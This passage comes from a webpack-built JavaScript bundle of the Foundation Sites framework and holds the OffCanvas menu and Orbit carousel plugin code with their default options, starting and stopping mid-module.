this.$element.siblings('[data-off-canvas-content]').css('transition-duration', '');\n      }\n      this.$element.addClass('is-open').removeClass('is-closed');\n      this.$triggers.attr('aria-expanded', 'true');\n      this.$element.attr('aria-hidden', 'false');\n      this.$content.addClass('is-open-' + this.position);\n\n      // If `contentScroll` is set to false, add class and disable scrolling on touch devices.\n      if (this.options.contentScroll === false) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').addClass('is-off-canvas-open').on('touchmove', this._stopScrolling);\n        this.$element.on('touchstart', this._recordScrollable);\n        this.$element.on('touchmove', this, this._preventDefaultAtEdges);\n        this.$element.on('touchstart', '[data-off-canvas-scrollbox]', this._recordScrollable);\n        this.$element.on('touchmove', '[data-off-canvas-scrollbox]', this, this._scrollboxTouchMoved);\n      }\n      if (this.options.contentOverlay === true) {\n        this.$overlay.addClass('is-visible');\n      }\n      if (this.options.closeOnClick === true && this.options.contentOverlay === true) {\n        this.$overlay.addClass('is-closable');\n      }\n      if (this.options.autoFocus === true) {\n        this.$element.one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.transitionend)(this.$element), function () {\n          if (!_this.$element.hasClass('is-open')) {\
525n            return; // exit if prematurely closed\n          }\n\n          var canvasFocus = _this.$element.find('[data-autofocus]');\n          if (canvasFocus.length) {\n            canvasFocus.eq(0).focus();\n          } else {\n            _this.$element.find('a, button').eq(0).focus();\n          }\n        });\n      }\n      if (this.options.trapFocus === true) {\n        this.$content.attr('tabindex', '-1');\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.trapFocus(this.$element);\n      }\n      if (this.options.transition === 'push') {\n        this._fixStickyElements();\n      }\n      this._addContentClasses();\n\n      /**\n       * Fires when the off-canvas menu opens.\n       * @event OffCanvas#opened\n       */\n      this.$element.trigger('opened.zf.offCanvas');\n\n      /**\n       * Fires when the off-canvas menu open transition is done.\n       * @event OffCanvas#openedEnd\n       */\n      this.$element.one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.transitionend)(this.$element), function () {\n        _this4.$element.trigger('openedEnd.zf.offCanvas');\n      });\n    }\n\n    /**\n     * Closes the off-canvas menu.\n     * @function\n     * @param {Function} cb - optional cb to fire after closure.\n     * @fires OffCanvas#close\n     * @fires OffCanvas#closed\n     */\n  }, {\n    key: \"close\",\n    value: function close() {\n      var _this5 = this;\n      if (!this.$element.hasClass('is-open') || this.isRevealed) {\n        return;\n      }\n\n      /**\n       * Fires when the off-canvas menu closes.\n       * @event OffCanvas#close\n       */\n      this.$element.trigger('close.zf.offCanvas');\n      this.$element.removeClass('is-open');\n      this.$element.attr('aria-hidden', 'true');\n      this.$content.removeClass('is-open-left is-open-top is-open-right is-open-bottom');\n      if (this.options.contentOverlay === true) {\n        this.$overlay.removeClass('is-visible');\n      }\n      if (this.options.closeOnClick === true && this.options.contentOverlay === true) {\n        this.$overlay.removeClass('is-closable');\n      }\n      this.$triggers.attr('aria-expanded', 'false');\n\n      // Listen to transitionEnd: add class, re-enable scrolling and release focus when done.\n      this.$element.one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.transitionend)(this.$element), function () {\n        _this5.$element.addClass('is-closed');\n        _this5._removeContentClasses();\n        if (_this5.options.transition === 'push') {\n          _this5._unfixStickyElements();\n        }\n\n        // If `contentScroll` is set to false, remove class and re-enable scrolling on touch devices.\n        if (_this5.options.contentScroll === false) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').removeClass('is-off-canvas-open').off('touchmove', _this5._stopScrolling);\n          _this5.$element.off('touchstart', _this5._recordScrollable);\n          _this5.$element.off('touchmove', _this5._preventDefaultAtEdges);\n          _this5.$element.off('touchstart', '[data-off-canvas-scrollbox]', _this5._recordScrollable);\n          _this5.$element.off('touchmove', '[data-off-canvas-scrollbox]', _this5._scrollboxTouchMoved);\n        }\n        if (_this5.options.trapFocus === true) {\n          _this5.$content.removeAttr('tabindex');\n          _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.releaseFocus(_this5.$element);\n        }\n\n        /**\n         * Fires when the off-canvas menu close transition is done.\n         * @event OffCanvas#closed\n         */\n        _this5.$element.trigger('closed.zf.offCanvas');\n      });\n    }\n\n    /**\n     * Toggles the off-canvas menu open or closed.\n     * @function\n     * @param {Object} event - Event object passed from listener.\n     * @param {jQuery} trigger - element that triggered the off-canvas to open.\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle(event, trigger) {\n      if (this.$element.hasClass('is-open')) {\n        this.close(event, trigger);\n      } else {\n        this.open(event, trigger);\n      }\n    }\n\n    /**\n     * Handles keyboard input when detected. When the escape key is pressed, the off-canvas menu closes, and focus is restored to the element that opened the menu.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_handleKeyboard\",\n    value: function _handleKeyboard(e) {\n      var _this6 = this;\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.handleKey(e, 'OffCanvas', {\n        close: function close() {\n          _this6.close();\n          _this6.$lastTrigger.focus();\n          return true;\n        }
525,\n        handled: function handled() {\n          e.preventDefault();\n        }\n      });\n    }\n\n    /**\n     * Destroys the OffCanvas plugin.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.close();\n      this.$element.off('.zf.trigger .zf.offCanvas');\n      this.$overlay.off('.zf.offCanvas');\n      if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n    }\n  }]);\n  return OffCanvas;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nOffCanvas.defaults = {\n  /**\n   * Allow the user to click outside of the menu to close it.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  closeOnClick: true,\n  /**\n   * Adds an overlay on top of `[data-off-canvas-content]`.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  contentOverlay: true,\n  /**\n   * Target an off-canvas content container by ID that may be placed anywhere. If null the closest content container will be taken.\n   * @option\n   * @type {?string}\n   * @default null\n   */\n  contentId: null,\n  /**\n   * Define the off-canvas element is nested in an off-canvas content. This is required when using the contentId option for a nested element.\n   * @option\n   * @type {boolean}\n   * @default null\n   */\n  nested: null,\n  /**\n   * Enable/disable scrolling of the main content when an off canvas panel is open.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  contentScroll: true,\n  /**\n   * Amount of time the open and close transition requires, including the appropriate milliseconds (`ms`) or seconds (`s`) unit (e.g. `500ms`, `.75s`) If none selected, pulls from body style.\n   * @option\n   * @type {string}\n   * @default null\n   */\n  transitionTime: null,\n  /**\n   * Type of transition for the OffCanvas menu. Options are 'push', 'detached' or 'slide'.\n   * @option\n   * @type {string}\n   * @default push\n   */\n  transition: 'push',\n  /**\n   * Force the page to scroll to top or bottom on open.\n   * @option\n   * @type {?string}\n   * @default null\n   */\n  forceTo: null,\n  /**\n   * Allow the OffCanvas to remain open for certain breakpoints.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  isRevealed: false,\n  /**\n   * Breakpoint at which to reveal. JS will use a RegExp to target standard classes, if changing classnames, pass your class with the `revealClass` option.\n   * @option\n   * @type {?string}\n   * @default null\n   */\n  revealOn: null,\n  /**\n   * Breakpoint at which the off-canvas gets moved into canvas content and acts as regular page element.\n   * @option\n   * @type {?string}\n   * @default null\n   */\n  inCanvasOn: null,\n  /**\n   * Force focus to the offcanvas on open. If true, will focus the opening trigger on close.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  autoFocus: true,\n  /**\n   * Class used to force an OffCanvas to remain open. Foundation defaults for this are `reveal-for-large` & `reveal-for-medium`.\n   * @option\n   * @type {string}\n   * @default reveal-for-\n   * @todo improve the regex testing for this.\n   */\n  revealClass: 'reveal-for-',\n  /**\n   * Triggers optional focus trapping when opening an OffCanvas. Sets tabindex of [data-off-canvas-content] to -1 for accessibility purposes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  trapFocus: false\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.offcanvas.js?")},"./js/foundation.orbit.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Orbit: function() { return /* binding */ Orbit; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_util_timer__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.timer */ \"./js/foundation.util.timer.js\");\n/* harmony import */ var _foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.imageLoader */ \"./js/foundation.util.imageLoader.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_touch__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./foundation.util.touch */ \"./js/foundation.util.touch.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n\n\n/**\n * Orbit module.\n * @module foundation.orbit\n * @requires foundation.util.keyboard\n * @requires foundation.util.motion\n * @requires foundation.util.timer\n * @requires foundation.util.imageLoader\n * @requires foundation.util.touch\n */\nvar Orbit = /*#__PURE__*/function (_Plugin) {\n  _inherits(Orbit, _Plugin);\n  var _super = _createSuper(Orbit);\n  function Orbit() {\n    _classCallCheck(this, Orbit);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Orbit, [{\n    key: \"_setup\",\n    value:\n    /**\n    * Creates a new instance of an orbit carousel.\n    * @class\n    * @name Orbit\n    * @param {jQuery} element - jQuery object to make into an Orbit Carousel.\n    * @param {Object} options - Overrides to the default plugin settings.\n    */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Orbit.defaults, this.$element.data(), options);\n      this.className = 'Orbit'; // ie9 back compat\n\n      _foundation_util_touch__WEBPACK_IMPORTED_MODULE_7__.Touch.init((jquery__WEBPACK_IMPORTED_MODULE_0___default())); // Touch init is idempotent, we just need to make sure it's initialied.\n\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.register('Orbit', {\n        'ltr': {\n          'ARROW_RIGHT': 'next',\n          'ARROW_LEFT': 'previous'\n        },\n        'rtl': {\n          'ARROW_LEFT': 'next',\n          'ARROW_RIGHT': 'previous'\n        }\n      });\n    }\n\n    /**\n    * Initializes the plugin by creating jQuery collections, setting attributes, and starting the animation.\n    * @function\n    * @private\n    */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      // @TODO: consider discussion on PR #9278 about DOM pollution by changeSlide\n      this._reset();\n      this.$wrapper = this.$element.find(\".\".concat(this.options.containerClass));\n      this.$slides = this.$element.find(\".\".concat(this.options.slideClass));\n      var $images = this.$element.find('img'),\n        initActive = this.$slides.filter('.is-active'),\n        id = this.$element[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_5__.GetYoDigits)(6, 'orbit');\n      this.$element.attr({\n        'data-resize': id,\n        'id': id\n      });\n      if (!initActive.length) {\n        this.$slides.eq(0).addClass('is-active');\n      }\n      if (!this.options.useMUI) {\n        this.$slides.addClass('no-motionui');\n      }\n      if ($images.length) {\n        (0,_foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_4__.onImagesLoaded)($images, this._prepareForOrbit.bind(this));\n      } else {\n        this._prepareForOrbit(); //hehe\n      }\n\n      if (this.options.bullets) {\n        this._loadBullets();\n      }\n      this._events();\n      if (this.options.autoPlay && this.$slides.length > 1) {\n        this.geoSync();\n      }\n      if (this.options.accessible) {\n        // allow wrapper to be focusable to enable arrow navigation\n        this.$wrapper.attr('tabindex', 0);\n      }\n    }\n\n    /**\n    * Creates a jQuery collection of bullets, if they are being used.\n    * @function\n    * @private\n    */\n  }, {\n    key: \"_loadBullets\",\n    value: function _loadBullets() {\n      this.$bullets = this.$element.find(\".\".concat(this.options.boxOfBullets)).find('button');\n    }\n\n    /**\n    * Sets a `timer` object on the orbit, and starts the counter for the next slide.\n    * @function\n    */\n  }, {\n    key: \"geoSync\",\n    value: function geoSync() {\n      var _this = this;\n      this.timer = new _foundation_util_timer__WEBPACK_IMPORTED_MODULE_3__.Timer(this.$element, {\n        duration: this.options.timerDelay,\n        infinite: false\n      }, function () {\n        _this.changeSlide(true);\n      });\n      this.timer.start();\n    }\n\n    /**\n    * Sets wrapper and slide heights for the orbit.\n    * @function\n    * @private\n    */\n  }, {\n    key: \"_prepareForOrbit\",\n    value: function _prepareForOrbit() {\n      this._setWrapperHeight();\n    }\n\n    /**\n    * Calulates the height of each slide in the collection, and uses the tallest one for the wrapper height.\n    * @function\n    * @private\n    * @param {Function} cb - a callback function to fire when complete.\n    */\n  }, {\n    key: \"_setWrapperHeight\",\n    value: function _setWrapperHeight(cb) {\n      //rewrite this to `for` loop\n      var max = 0,\n        temp,\n        counter = 0,\n        _this = this;\n      this.$slides.each(function () {\n        temp = this.getBoundingClientRect().height;\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('data-sli
525de', counter);\n\n        // hide all slides but the active one\n        if (!/mui/g.test(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)[0].className) && _this.$slides.filter('.is-active')[0] !== _this.$slides.eq(counter)[0]) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).css({\n            'display': 'none'\n          });\n        }\n        max = temp > max ? temp : max;\n        counter++;\n      });\n      if (counter === this.$slides.length) {\n        this.$wrapper.css({\n          'height': max\n        }); //only change the wrapper height property once.\n        if (cb) {\n          cb(max);\n        } //fire callback with max height dimension.\n      }\n    }\n\n    /**\n    * Sets the max-height of each slide.\n    * @function\n    * @private\n    */\n  }, {\n    key: \"_setSlideHeight\",\n    value: function _setSlideHeight(height) {\n      this.$slides.each(function () {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).css('max-height', height);\n      });\n    }\n\n    /**\n    * Adds event listeners to basically everything within the element.\n    * @function\n    * @private\n    */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this;\n\n      //***************************************\n      //**Now using custom event - thanks to:**\n      //**      Yohai Ararat of Toronto      **\n      //***************************************\n      //\n      this.$element.off('.resizeme.zf.trigger').on({\n        'resizeme.zf.trigger': this._prepareForOrbit.bind(this)\n      });\n      if (this.$slides.length > 1) {\n        if (this.options.swipe) {\n          this.$slides.off('swipeleft.zf.orbit swiperight.zf.orbit').on('swipeleft.zf.orbit', function (e) {\n            e.preventDefault();\n            _this.changeSlide(true);\n          }).on('swiperight.zf.orbit', function (e) {\n            e.preventDefault();\n            _this.changeSlide(false);\n          });\n        }\n        //***************************************\n\n        if (this.options.autoPlay) {\n          this.$slides.on('click.zf.orbit', function () {\n            _this.$element.data('clickedOn', _this.$element.data('clickedOn') ? false : true);\n            _this.timer[_this.$element.data('clickedOn') ? 'pause' : 'start']();\n          });\n          if (this.options.pauseOnHover) {\n            this.$element.on('mouseenter.zf.orbit', function () {\n              _this.timer.pause();\n            }).on('mouseleave.zf.orbit', function () {\n              if (!_this.$element.data('clickedOn')) {\n                _this.timer.start();\n              }\n            });\n          }\n        }\n        if (this.options.navButtons) {\n          var $controls = this.$element.find(\".\".concat(this.options.nextClass, \", .\").concat(this.options.prevClass));\n          $controls.attr('tabindex', 0)\n          //also need to handle enter/return and spacebar key presses\n          .on('click.zf.orbit touchend.zf.orbit', function (e) {\n            e.preventDefault();\n            _this.changeSlide(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).hasClass(_this.options.nextClass));\n          });\n        }\n        if (this.options.bullets) {\n          this.$bullets.on('click.zf.orbit touchend.zf.orbit', function () {\n            if (/is-active/g.test(this.className)) {\n              return false;\n            } //if this is active, kick out of function.\n            var idx = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('slide'),\n              ltr = idx > _this.$slides.filter('.is-active').data('slide'),\n              $slide = _this.$slides.eq(idx);\n            _this.changeSlide(ltr, $slide, idx);\n          });\n        }\n        if (this.options.accessible) {\n          this.$wrapper.add(this.$bullets).on('keydown.zf.orbit', function (e) {\n            // handle keyboard event with keyboard util\n            _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.handleKey(e, 'Orbit', {\n              next: function next() {\n                _this.changeSlide(true);\n              },\n              previous: function previous() {\n                _this.changeSlide(false);\n              }
525,\n              handled: function handled() {\n                // if bullet is focused, make sure focus moves\n                if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).is(_this.$bullets)) {\n                  _this.$bullets.filter('.is-active').focus();\n                }\n              }\n            });\n          });\n        }\n      }\n    }\n\n    /**\n     * Resets Orbit so it can be reinitialized\n     */\n  }, {\n    key: \"_reset\",\n    value: function _reset() {\n      // Don't do anything if there are no slides (first run)\n      if (typeof this.$slides === 'undefined') {\n        return;\n      }\n      if (this.$slides.length > 1) {\n        // Remove old events\n        this.$element.off('.zf.orbit').find('*').off('.zf.orbit');\n\n        // Restart timer if autoPlay is enabled\n        if (this.options.autoPlay) {\n          this.timer.restart();\n        }\n\n        // Reset all sliddes\n        this.$slides.each(function (el) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).removeClass('is-active is-active is-in').removeAttr('aria-live').hide();\n        });\n\n        // Show the first slide\n        this.$slides.first().addClass('is-active').show();\n\n        // Triggers when the slide has finished animating\n        this.$element.trigger('slidechange.zf.orbit', [this.$slides.first()]);\n\n        // Select first bullet if bullets are present\n        if (this.options.bullets) {\n          this._updateBullets(0);\n        }\n      }\n    }\n\n    /**\n    * Changes the current slide to a new one.\n    * @function\n    * @param {Boolean} isLTR - if true the slide moves from right to left, if false the slide moves from left to right.\n    * @param {jQuery} chosenSlide - the jQuery element of the slide to show next, if one is selected.\n    * @param {Number} idx - the index of the new slide in its collection, if one chosen.\n    * @fires Orbit#slidechange\n    */\n  }, {\n    key: \"changeSlide\",\n    value: function changeSlide(isLTR, chosenSlide, idx) {\n      if (!this.$slides) {\n        return;\n      } // Don't freak out if we're in the middle of cleanup\n      var $curSlide = this.$slides.filter('.is-active').eq(0);\n      if (/mui/g.test($curSlide[0].className)) {\n        return false;\n      } //if the slide is currently animating, kick out of the function\n\n      var $firstSlide = this.$slides.first(),\n        $lastSlide = this.$slides.last(),\n        dirIn = isLTR ? 'Right' : 'Left',\n        dirOut = isLTR ? 'Left' : 'Right',\n        _this = this,\n        $newSlide;\n      if (!chosenSlide) {\n        //most of the time, this will be auto played or clicked from the navButtons.\n        $newSlide = isLTR ?\n        //if wrapping enabled, check to see if there is a `next` or `prev` sibling, if not, select the first or last slide to fill in. if wrapping not enabled, attempt to select `next` or `prev`, if there's nothing there, the function will kick out on next step. CRAZY NESTED TERNARIES!!!!!\n        this.options.infiniteWrap ? $curSlide.next(\".\".concat(this.options.slideClass)).length ? $curSlide.next(\".\".concat(this.options.slideClass)) : $firstSlide : $curSlide.next(\".\".concat(this.options.slideClass)) //pick next slide if moving left to right\n        : this.options.infiniteWrap ? $curSlide.prev(\".\".concat(this.options.slideClass)).length ? $curSlide.prev(\".\".concat(this.options.slideClass)) : $lastSlide : $curSlide.prev(\".\".concat(this.options.slideClass)); //pick prev slide if moving right to left\n      } else {\n        $newSlide = chosenSlide;\n      }\n      if ($newSlide.length) {\n        /**\n        * Triggers before the next slide starts animating in and only if a next slide has been found.\n        * @event Orbit#beforeslidechange\n        */\n        this.$element.trigger('beforeslidechange.zf.orbit', [$curSlide, $newSlide]);\n        if (this.options.bullets) {\n          idx = idx || this.$slides.index($newSlide); //grab index to update bullets\n          this._updateBullets(idx);\n        }\n        if (this.options.useMUI && !this.$element.is(':hidden')) {\
525n          _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Motion.animateIn($newSlide.addClass('is-active'), this.options[\"animInFrom\".concat(dirIn)], function () {\n            $newSlide.css({\n              'display': 'block'\n            }).attr('aria-live', 'polite');\n          });\n          _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Motion.animateOut($curSlide.removeClass('is-active'), this.options[\"animOutTo\".concat(dirOut)], function () {\n            $curSlide.removeAttr('aria-live');\n            if (_this.options.autoPlay && !_this.timer.isPaused) {\n              _this.timer.restart();\n            }\n            //do stuff?\n          });\n        } else {\n          $curSlide.removeClass('is-active is-in').removeAttr('aria-live').hide();\n          $newSlide.addClass('is-active is-in').attr('aria-live', 'polite').show();\n          if (this.options.autoPlay && !this.timer.isPaused) {\n            this.timer.restart();\n          }\n        }\n        /**\n        * Triggers when the slide has finished animating in.\n        * @event Orbit#slidechange\n        */\n        this.$element.trigger('slidechange.zf.orbit', [$newSlide]);\n      }\n    }\n\n    /**\n    * Updates the active state of the bullets, if displayed.\n    * Move the descriptor of the current slide `[data-slide-active-label]` to the newly active bullet.\n    * If no `[data-slide-active-label]` is set, will move the exceeding `span` element.\n    *\n    * @function\n    * @private\n    * @param {Number} idx - the index of the current slide.\n    */\n  }, {\n    key: \"_updateBullets\",\n    value: function _updateBullets(idx) {\n      var $oldBullet = this.$bullets.filter('.is-active');\n      var $othersBullets = this.$bullets.not('.is-active');\n      var $newBullet = this.$bullets.eq(idx);\n      $oldBullet.removeClass('is-active').blur();\n      $newBullet.addClass('is-active');\n\n      // Find the descriptor for the current slide to move it to the new slide button\n      var activeStateDescriptor = $oldBullet.children('[data-slide-active-label]').last();\n\n      // If not explicitely given, search for the last \"exceeding\" span element (compared to others bullets).\n      if (!activeStateDescriptor.length) {\n        var spans = $oldBullet.children('span');\n        var spanCountInOthersBullets = $othersBullets.toArray().map(function (b) {\n          return jquery__WEBPACK_IMPORTED_MODULE_0___default()(b).children('span').length;\n        });\n\n        // If there is an exceeding span element, use it as current slide descriptor\n        if (spanCountInOthersBullets.every(function (count) {\n          return count < spans.length;\n        })) {\n          activeStateDescriptor = spans.last();\n          activeStateDescriptor.attr('data-slide-active-label', '');\n        }\n      }\n\n      // Move the current slide descriptor to the new slide button\n      if (activeStateDescriptor.length) {\n        activeStateDescriptor.detach();\n        $newBullet.append(activeStateDescriptor);\n      }\n    }\n\n    /**\n    * Destroys the carousel and hides the element.\n    * @function\n    */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.off('.zf.orbit').find('*').off('.zf.orbit').end().hide();\n    }\n  }]);\n  return Orbit;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_6__.Plugin);\nOrbit.defaults = {\n  /**\n  * Tells the JS to look for and loadBullets.\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  bullets: true,\n  /**\n  * Tells the JS to apply event listeners to nav buttons\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  navButtons: true,\n  /**\n  * motion-ui animation class to apply\n  * @option\n   * @type {string}\n  * @default 'slide-in-right'\n  */\n  animInFromRight: 'slide-in-right',\n  /**\n  * motion-ui animation class to apply\n  * @option\n   * @type {string}\n  * @default 'slide-out-right'\n  */\n  animOutToRight: 'slide-out-right',\n  /**\n  * motion-ui animation class to apply\n  * @option\n   * @type {string}\n  * @default 'slide-in-left'\n  *\n  */\n  animInFromLeft: 'slide-in-left',\n  /**\n  * motion-ui animation class to apply\n  * @option\n   * @type {string}\n  * @default 'slide-out-left'\n  */\n  animOutToLeft: 'slide-out-left',\n  /**\n  * Allows Orbit to automatically animate on page load.\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  autoPlay: true,\n  /**\n  * Amount of time, in ms, between slide transitions\n  * @option\n   * @type {number}\n  * @default 5000\n  */\n  timerDelay: 5000,\n  /**\n  * Allows Orbit to infinitely loop through the slides\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  infiniteWrap: true,\n  /**\n  * Allows the Orbit slides to bind to swipe events for mobile, requires an additional util library\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  swipe: true,\n  /**\n  * Allows the timing function to pause animation on hover.\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  pauseOnHover: true,\n  /**\n  * Allows Orbit to bind keyboard events to the slider, to animate frames with arrow keys\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  accessible: true,\n  /**\n  * Class applied to the container of Orbit\n  * @option\n   * @type {string}\n  * @default 'orbit-container'\n  */\n  containerClass: 'orbit-container',\n  /**\n  * Class applied to individual slides.\n  * @option\n   * @type {string}\n  * @default 'orbit-slide'\n  */\n  slideClass: 'orbit-slide',\n  /**\n  * Class applied to the bullet container. You're welcome.\n  * @option\n   * @type {string}\n  * @default 'orbit-bullets'\n  */\n  boxOfBullets: 'orbit-bullets',\n  /**\n  * Class applied to the `next` navigation button.\n  * @option\n   * @type {string}\n  * @default 'orbit-next'\n  */\n  nextClass: 'orbit-next',\n  /**\n  * Class applied to the `previous` navigation button.\n  * @option\n   * @type {string}\n  * @default 'orbit-previous'\n  */\n  prevClass: 'orbit-previous',\n  /**\n  * Boolean to flag the js to use motion ui classes or not. Default to true for backwards compatibility.\n  * @option\n   * @type {boolean}\n  * @default true\n  */\n  useMUI: true\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.orbit.js?")},"./js/foundation.positionable.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Positionable: function() { return /* binding */ Positionable; }\n/* harmony export */ });\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.util.box */ "./js/foundation.util.box.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = 